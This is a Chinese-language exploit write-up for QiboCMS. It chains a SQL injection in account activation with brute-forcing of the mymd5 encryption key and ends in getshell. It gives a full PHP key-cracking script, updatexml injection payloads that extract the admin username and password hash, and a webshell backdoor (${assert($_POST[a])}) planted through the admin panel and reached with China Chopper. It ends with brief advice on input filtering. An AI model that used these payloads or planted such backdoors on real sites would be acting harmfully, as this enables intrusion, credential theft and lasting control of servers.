QiboCMS從SQL注入到getshell
漏洞產生分析
首先在do/.activate.php檔案中找到傳送啟用序列的程式碼:

提取重要資訊:
- 啟用url:
do/activate.php?job=activate&md5_id=$md5_id
由啟用的連結可以在此檔案找到賬號啟用觸發的流程:

- 啟用序列$md5_id在經過mymd5()函式的解密後生成$username和$password
- 然後將$username代入了get_allInfo()函式,在inc/class.user.php檔案中找到該函式:
- 發現get_allInfo()是一個獲取使用者資訊的函式,$username有被傳入了get_passport()函式,進入:
本地測試
-
在本地,直接利用mymd5()函式構造注入的啟用序列(由於沒有回顯,測試發現有報錯資訊)
echo mymd5("aaa' and (updatexml(1,concat(0x7e,(substring((select flag from flag),1,32)),0x7e),1))#'\taaaa");
然後進行訪問得到:
證明,啟用驗證處可以進行注入,那麼,接下來我們看一看遠端的qibocms的啟用驗證如何進行可注入。
漏洞利用
上文我們已經得到了可以利用啟用驗證進行sql注入,那麼,接下來我們分析如何利用:
- 首先我們找到啟用序列如何生成的,在do/.activate.php檔案:
我們可以看到啟用序列$md5_id的生成語句
$md5_id=str_replace('+','%2B',mymd5("{$rs[username]}\t{$rs[password]}"));
$md5_id是對註冊的使用者密碼拼接後在用mymd5函式加密後形成的。 - 接下來,我們看一看mymd5()函式(inc/function.inc.php)

可見,函式中存在一個加密金鑰
$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!';
由兩個變數和一個固定字串組成,在啟用序列加密過程中$rand為空,那麼我們只需要知道$webdb[mymd5]就可以構造出金鑰,也就可以在本地構造啟用序列。
- 在do/activate.php中找到了$webdb[mymd5]生成方法
繼續進入rands()函式 (inc/function.inc.php)
由此,可知$webdb[mymd5]是一個以
(double)microtime() * 1000000
為隨機種子的十位隨機字串
- 提取重要資訊:隨機種子是0-999999
由此可得利用方法一:
- 利用隨機種子是0-999999,進行爆破,一共一百萬次,如果站長不修改預設的金鑰的話,總能爆出來,不過不提倡,咱們是文明人
- 繼續分析:既然咱們不去遠端爆破,那咱們就在本地爆破,獲取一個我們所知的資料經過mymd5()加密後形成的資料,既可以在本地進行爆破對比,從而可以得到金鑰:
- 我們要找一個能夠顯示相關資料的地方:
- 驗證啟用的地方
可以看到如果賬號需要啟用,網站會把使用者名稱和密碼組成的字串加密後發到註冊郵箱,由此我們可以根據郵件裡的啟用序列在本地進行爆破
- COOKIE裡,在inc/function.inc.php裡找到了set_cookie()函式(ps:這不重要,重要的是可以全域性搜尋set cookie + +)
- 驗證啟用的地方

在synlogin()函式中將使用者密碼加密在cookie中顯示,並且這個cookie在使用者登入之後就會被設定,
由此,我們可以註冊一個使用者並登陸,然後根據我們設定的密碼和passport的cookie,在本地進行金鑰爆破
驗證:
- 註冊admin123:admin123的使用者,並查詢cookie

2.提取cookie:
4%09admin123%09VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U%3D1f1f2c0a1c
根據 set_cookie("passport","$rs[uid]\t$username\t".mymd5($rs[password],'EN'),$cookietime);
url解碼後提取出密碼admin123加密之後的資料 VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c
- 編寫指令碼爆破
$md5_id="VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c"; $passwd="admin123"; get_webdb_mymd5(); function get_webdb_mymd5(){ global $passwd; global $md5_id; global $webdb_mymd5; for($seed = 999999;$seed>=0;$seed--){ print "[-] 正在測試種子:$seed\n"; $webdb_mymd5=rands($seed); $payload = mymd5(md5($passwd)); if($payload==$md5_id){ print $payload.rands($seed);; print " [-] 金鑰:$webdb_mymd5 \n"; // file_put_contents("data.log","$url-----@@$webdb_mymd5@@\n",FILE_APPEND); return $webdb_mymd5; } } die("no \n"); } function mymd5($string,$action="EN",$rand=''){ //字串加密和解密 global $webdb_mymd5; if($action=="DE"){//處理+號在URL傳遞過程中會異常 $string = str_replace('QIBO|ADD','+',$string); } $secret_string = $webdb_mymd5.$rand."5*j,.^&;?.%#@!"; //絕密字串,可以任意設定 if(!is_string($string)){ $string=strval($string); } if($string==="") return ""; if($action=="EN") $md5code=substr(md5($string),8,10); else{ $md5code=substr($string,-10); $string=substr($string,0,strlen($string)-10); } //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string); $key = md5($md5code.$secret_string); $string = ($action=="EN"?$string:base64_decode($string)); $len = strlen($key); $code = ""; for($i=0; $i<strlen($string); $i++){ $k = $i%$len; $code .= $string[$i]^$key[$k]; } $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code"); if($action=="EN"){//處理+號在URL傳遞過程中會異常 $code = str_replace('+','QIBO|ADD',$code); } return $code; } function rands($seed,$length=10) { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; mt_srand($seed); for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } $hash=strtolower($hash); return $hash; }
得到金鑰,將金鑰寫進mymd5()函式中,開始你的注入吧!!!
等等,這就結束了?有句話說的好,不想拿shell的廚子不是好司機
深入攻擊
本地分析cms的資料庫,發現在qb_memberdata表中設定了使用者的許可權:
許可權的設定為
所以思路來了:
- 利用注入得到超級管理員的使用者名稱和密碼
- 進入管理後臺getshell
實現:
-
構造查詢超級管理員使用者名稱,sql:
and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata where groupid=3),1,32)),0x7e),1))
得到使用者名稱:admin666
-
構造查詢密碼sql:
and (updatexml(1,concat(0x7e,(substring((select password from qb_members where username='admin666'),1,32)),0x7e),1))#
得到密碼MD5後值8a30ec6807f71bc69d096d8e4d501ad,在cmd5解密之後得到:admin666
-
登入管理後臺,參考 ofollow,noindex">齊博cm後臺getshell文章
增加欄目為${assert($_POST[a])},後門直接寫入/data/guide_fid.php檔案中,菜刀連之即可。
可以看到/data/guide_fid.php檔案
- 菜刀連結:
getshell!!!
總結
剛開始接觸到這個漏洞時,也沒想到有什麼好的利用方式,不過隨著逐步的深入研究,發現還是有很多的利用方式的,本想直接把註冊的使用者修改成超級管理員許可權,不過測試了半天沒成功,只能退而求其次解密超級管理員的密碼了,不過現在個各大MD5網站,不加鹽的MD5除非特別複雜的密碼沒辦法解出來,一般的都能解出來。
也提醒了我們在設計時,在sql語句在帶入資料庫查詢前一定要進行白名單過濾;在對密碼加密時一定要考慮被破解的概率。